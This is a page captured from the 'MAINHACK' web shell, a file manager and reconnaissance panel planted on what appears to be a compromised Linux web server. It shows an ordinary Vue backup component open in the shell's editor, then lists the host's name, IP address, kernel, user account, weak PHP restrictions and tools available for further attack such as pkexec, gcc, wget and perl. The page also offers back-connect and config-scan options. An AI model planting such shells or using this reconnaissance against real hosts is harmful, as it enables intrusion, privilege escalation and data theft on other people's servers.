[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: backup.vue
<template> <div> <!-- breadcrumbs Start --> <breadcrumbs :items="breadcrumbs" :current="breadcrumbsCurrent" /> <!-- breadcrumbs end --> <div class="row"> <div class="col-md-6 m-auto"> <div class="card"> <div class="card-header"> <h3 class="card-title">{{ $t("backup.page_title") }}</h3> <router-link :to="{ name: 'home' }" class="btn btn-dark float-right"> <i class="fas fa-long-arrow-alt-left" /> {{ $t("common.back") }} </router-link> </div> <div class="card-body"> <form class="form-horizontal" @submit.prevent="databaseBackup" @keydown="form.onKeydown($event)"> <div class="form-group row"> <label for="format" class="col-sm-2 col-form-label">{{ $t("backup.format") }} <span class="required">*</span></label> <div class="col-sm-10"> <select v-model="form.format" class="form-control" :class="{ 'is-invalid': form.errors.has('format') }" id="format"> <option value="sql">{{ $t("backup.format_sql") }}</option> </select> <has-error :form="form" field="format" /> </div> </div> <div class="form-group row"> <div class="offset-sm-2 col-sm-10"> <v-button :loading="form.busy" class="btn btn-primary"> <i class="fas fa-file-export" /> {{ $t("backup.export") }} </v-button> </div> </div> </form> </div> </div> </div> </div> </div> </template> <script> import Form from "vform"; export default { middleware: ["auth", "check-permissions"], metaInfo() { return { title: this.$t("backup.page_title") }; }, data: () => ({ breadcrumbsCurrent: "backup.breadcrumbs_current", breadcrumbs: [ { name: "backup.breadcrumbs_first", url: "home", }, { name: "backup.breadcrumbs_active", url: "", }, ], form: new Form({ format: "sql", }), loading: true, user: "", isDemoMode: window.config.isDemoMode, }), methods: { // create backup async databaseBackup() { if (!this.isDemoMode) { await this.form .post(window.location.origin + "/api/backup", { responseType: "blob" }) .then((response) => { var fileURL = window.URL.createObjectURL(new Blob([response.data])); var fileLink = document.createElement("a"); fileLink.href = fileURL; var fileName = "backup." + this.form.format; fileLink.setAttribute("download", fileName); document.body.appendChild(fileLink); fileLink.click(); toast.fire({ type: "success", title: this.$t("backup.success_msg"), }); }) .catch(() => { toast.fire({ type: "error", title: this.$t("common.error_msg"), }); }); } else { toast.fire({ type: "warning", title: this.$t("You are not allowed to do this in demo version."), }); } }, }, }; </script> <style lang="scss" scoped></style>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002